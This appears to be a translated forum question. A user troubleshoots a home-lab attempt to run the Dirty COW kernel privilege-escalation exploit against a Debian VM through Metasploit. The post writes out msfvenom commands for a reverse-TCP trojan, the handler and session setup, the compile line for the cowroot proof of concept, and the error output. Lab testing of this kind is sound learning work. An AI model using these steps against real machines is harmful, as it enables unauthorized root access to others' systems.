我正在测试我的一些 Linux 虚拟机,试图利用 Dirty Cow 漏洞,但我无法使用 Metasploit 成功。首先......对于感兴趣的用户,几个链接到“脏牛,什么是”漏洞,“受影响的内核”和解释。我将解释长版本,可能对其他人有用。问题在最后一句话!
我知道您必须能够从“可能的受害者”机器启动命令,并且内核必须是受影响的机器之一。很好,我正在使用 Debian Jessie VM 使用内核 3.16(受影响)。
我知道我们可以手动编译它等等......但我实验室的重点是尝试使用 Metasploit 来“自动化”一点。首先,我下载了要与 Metasploit 框架一起使用的漏洞利用程序。是从Rapid7 Github.rb
下载并由nixawk改编为 Metasploit 的文件。
我已经将.rb
文件放在 Metasploit 的正确文件夹下,在我的情况下,使用 Kali 作为“攻击者”是/usr/share/metasploit-framework/modules/exploits/linux/local/
因为它属于 linux 类别等。现在我可以从 msfconsole 看到使用search dirtycow
. 所以,Metasploit 看起来一切都很好!现在我可以使用它了。开始干活...
选择use exploit/linux/local/DirtyCow
显示选项的漏洞利用后show options
,我可以看到设置我们将尝试执行漏洞利用的会话很简单。我们还没有一个会话。一开始我不知道是否需要meterpreter会话或什么样的会话。经过一些测试,似乎需要一个 linux shell 会话。好的,让我们用反向 tcp linux shell 准备木马msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.159 LPORT=4444 -f elf > /root/Desktop/testTroj
。ip 是我的 Kali “攻击者” linux 所在的位置,端口没问题,两台机器(受害者和攻击者)之间存在通信,因为它们在同一个 LAN 上,没有防火墙等。
我使用 为 shell 会话准备了 Metasploit “监听” use exploit/multi/handler
,然后设置了有效负载,在本例中为set payload linux/x86/shell/reverse_tcp
。之后我设置了所需的参数,端口是默认的 4444 就可以了,set lhost 192.168.0.159
这可能是 lan 的攻击者 Kali 机器 ip,仅此而已。我运行利用exploit -j
.
然后,我将带有木马“存在”的文件手动复制到受害者的 Debian 机器上,并以 root 身份执行。在 Metasploit 上,会话在后台创建,ID 为 1。一切正常。现在我们再次选择 DirtyCow 的漏洞利用use exploit/linux/local/DirtyCow
并使用会话的 id 设置所需的唯一参数,set session 1
因为其他参数很好,没问题/tmp
,路径存在并且每个人都有写权限。准备好了...我运行漏洞利用exploit
,这是我的输出:
[*] Started reverse TCP handler on 192.168.0.159:4444
[*] Compiling /tmp/UzUvDldaCr.c via gcc
[*] Executing at 2016-12-14 22:10:51 +0100.
[!] This exploit may require manual cleanup of '/tmp/UzUvDldaCr.c' on the target
[!] This exploit may require manual cleanup of '/tmp/UzUvDldaCr.out' on the target
[*] Exploit completed, but no session was created.
它没有用......不知道我做错了什么......我尝试进入会话以查看发生了什么sessions -i 1
,这就是我发现的:
[*] Starting interaction with 1...
2737988140
CdjEPizWwVtmWTWAIRRYUSplYyfsbGNI
3.16.0-4-amd64
UkbrQnewfsTjJuZHVygXpxDIFUhDHrVC
65537
ibcpgKMTLBVjxRyDsYoBnPMXbihygWlH
��ABCD%%
rgRjAKXaPFXlRUVEilZIdCSnvUxWncoo
GLrEcejVuhmqQOuCOdSONoLbOBudHGeX
/tmp/UzUvDldaCr.c: In function 'procselfmemThread':
/tmp/UzUvDldaCr.c:55:14: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast
lseek(f, map, SEEK_SET);
^
In file included from /tmp/UzUvDldaCr.c:8:0:
/usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *'
extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
^
collect2: fatal error: cannot find 'ld'
compilation terminated.
GGYjQWGSfKLntgwhprtYiCsLJKndFUxl
chmod: cannot access '/tmp/UzUvDldaCr.out': No such file or directory
/bin//sh: 19: /tmp/UzUvDldaCr.out: not found
bQKiCptqxwqFyDAjNVVWmXvVmvedCSXd
UVKeynQmJkUxYjSUNJOnVOhDbQdvTykf
uMNhdcrJsOycUmRPavHrBJieIZEeBOHd
ld
ld: no input files
不知道发生了什么。gcc
并且ld
命令在 Debian 的受害者机器上可用...
攻击者方面一切正常吗?难道我做错了什么?还是受害者的机器有问题?也许缺少一些工具或其他东西。如果有人可以指导我...谢谢!
编辑:我尝试使用 root 执行特洛伊木马,并且我也在 Debian 的受害者机器上使用普通用户进行了测试......在两种情况下都创建了 shell 会话,但最终结果是相同的......同样的错误,同样的日志。
编辑2:Metasploit 模块基于cowroot PoC,所以我从这里下载了cowroot.c 文件,手动将其复制到Debian 的受害者机器上,以尝试手动编译它而不是使用Metasploit。我按照说明进行操作$ gcc cowroot.c -o cowroot -pthread
,但得到了不同的错误...一些警告但没有致命错误:
cowroot.c: In function 'procselfmemThread':
cowroot.c:98:17: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast
lseek(f, map, SEEK_SET);
^
In file included from cowroot.c:27:0:
/usr/include/unistd.h:334:16: note: expected '__off_t' but argument is of type 'void *'
extern __off_t lseek (int __fd, __off_t __offset, int __whence) __THROW;
^
如果你尝试它是一半的工作......我的意思是如果你执行它$ ./cowroot
,它会丢弃根外壳......但过了一会儿,整个受害者机器完全挂起。所以现在我迷路了……为什么不在 Metasploit 上工作?利用 Dirty Cow 漏洞导致操作系统冻结是否正常?也许冻结可能是因为编译警告?
编辑3:冻结问题有一个解决方法。经过一番谷歌搜索后,我发现如果你之前在受害者的机器上执行(或在冻结之前删除 root shell 后很快) this echo 0 > /proc/sys/vm/dirty_writeback_centisecs
,那么你启动了漏洞利用并且它不会挂起系统。我在 Metasploit 模块 (DirtyCow.rb) 的代码中进行了搜索,发现了这个:
def on_new_session(client)
client.shell_command_token('echo 0 > /proc/sys/vm/dirty_writeback_centisecs')
end
所以我想在与 metasploit 连接后,系统不会挂起......但这一点仍然无法从 Metasploit 中工作。:/